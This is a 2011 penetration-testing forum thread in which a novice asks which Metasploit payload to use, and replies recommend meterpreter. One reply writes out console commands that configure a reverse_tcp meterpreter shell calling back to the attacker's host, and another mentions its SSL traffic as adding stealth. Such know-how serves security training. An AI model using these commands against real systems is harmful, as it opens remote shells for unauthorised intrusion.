Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 96 guests online
EH-Net News Feeds
Latest Additions
 
Advertisement

You are here: Home arrow Forum arrow Resourcesarrow Tutorialsarrow a question about metasploit
EH-Net
May 26, 2012, 11:06:17 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Advertise on EH-Net!! - Reasonable Rates, Highly Targeted Audience.
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: a question about metasploit  (Read 3046 times)
0 Members and 1 Guest are viewing this topic.
midnight monster
Newbie
*
Offline Offline

Posts: 38


im not a monster !


View Profile
« on: November 11, 2011, 12:58:47 PM »

Hello there!
i have a problem witn metasploit i dont wich of payloads is best for my exploit ( i know the server vulnerabilite and i sure about my expliot )and when i use "show payloads" command i see a lot of compatible payloads please help me to find the best payload
Logged

MCITP - Network +
mambru
Jr. Member
**
Offline Offline

Posts: 98


View Profile
« Reply #1 on: November 11, 2011, 01:08:22 PM »

The "best" payload to use will depend on you scenario.

http://www.offensive-security.com/metasploit-unleashed/Payload_Types
Logged
24772433
Newbie
*
Offline Offline

Posts: 10


View Profile
« Reply #2 on: November 11, 2011, 03:32:04 PM »

Try each one and see which works best for you! That's part of the fun of Metasploit. For each one that doesn't work try to find out why!

Steve
Logged
BillV
Hero Member
*****
Offline Offline

Posts: 1831


View Profile WWW
« Reply #3 on: November 11, 2011, 08:24:07 PM »

As previously mentioned we don't know your environment, or your target for that matter.

If it's within a local lab environment, targeting a Windows system, give the reverse meterpreter a try...

set payload windows/meterpreter/reverse_tcp
set lhost <your ip>
set lport 8888
exploit
Logged
midnight monster
Newbie
*
Offline Offline

Posts: 38


im not a monster !


View Profile
« Reply #4 on: November 12, 2011, 01:57:19 PM »

oh steve are you kiding!! it has hundred compatible payload and it takes a lot of time for me
Logged

MCITP - Network +
24772433
Newbie
*
Offline Offline

Posts: 10


View Profile
« Reply #5 on: November 12, 2011, 05:08:03 PM »

oh steve are you kiding!! it has hundred compatible payload and it takes a lot of time for me

OK. What is the server OS and vulnerability? If it's Windows then Meterpereter (as mentioned by BILLV) is always a favorite of mine.

Steve
Logged
msfsinn3r
Guest
« Reply #6 on: November 12, 2011, 05:34:32 PM »

On Windows, a meterpreter is always better because all windows post modules support it (plus tons of features).  It also communicates in SSL, so that adds a bit more stealth.  On Linux though, it's a different story, honestly you're probably better off with a non-meterpreter shell, because the Linux meterpreter isn't as good as the windows one.

reverse vs bind... come to think about it, I almost never use bind these days on a machine behind a firewall.  But people do use bind shells.

By the way, when you select an exploit, and do "show payloads" -- that will only show all the payloads compatible with that particular exploit.  If you're testing a web app exploit, keep in mind php/exec might not return an output (even though the command ran successfully).

If you're still clueless about which payload to use, just use a reverse meterpreter like everybody else has been recommending.

Lastly, perhaps you should consider asking Metasploit questions on #metasploit in freenode, so the actual metasploit dev team can answer your questions more quickly.

And yes... I did sign up for an account here just to answer your question.
« Last Edit: November 12, 2011, 05:42:44 PM by msfsinn3r » Logged
midnight monster
Newbie
*
Offline Offline

Posts: 38


im not a monster !


View Profile
« Reply #7 on: November 13, 2011, 12:16:03 AM »

Thank you msfsinn3r your info was very useful for me
my sever is windows server 2003
and thanks alot
Logged

MCITP - Network +
nytfox
Newbie
*
Offline Offline

Posts: 20



View Profile
« Reply #8 on: January 29, 2012, 02:50:07 AM »

btw you can use search commend to get selected exploits , like "search smb" . try it and lemme know Smiley
Logged

Unlike others I love NULLS
http://treasuresec.com
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.16 | SMF © 2011, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.281 seconds with 22 queries.
 

gk_static-ad_feb2012.jpg
Global Knowledge: Build Security Skills to Protect & Defend

els_130x200fixed2.gif
eLearnSecurity Student Course Now Live!
5% Off with Code
ELS-EH-5

SANS Deals 4 EH-Netters
$150 OFF Any SANS Course in Any Format!
Coupon Code: EHN_Connect Including SANS Security West 2012 & SANSFIRE 2012
Recent Forum Topics

cbtnuggets_logo_125.jpg
Try CBT Nuggets Free!

Vote For EH-Net

Add to Technorati Favorites
technorati fave

 
         
Advertisement

© 2012 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.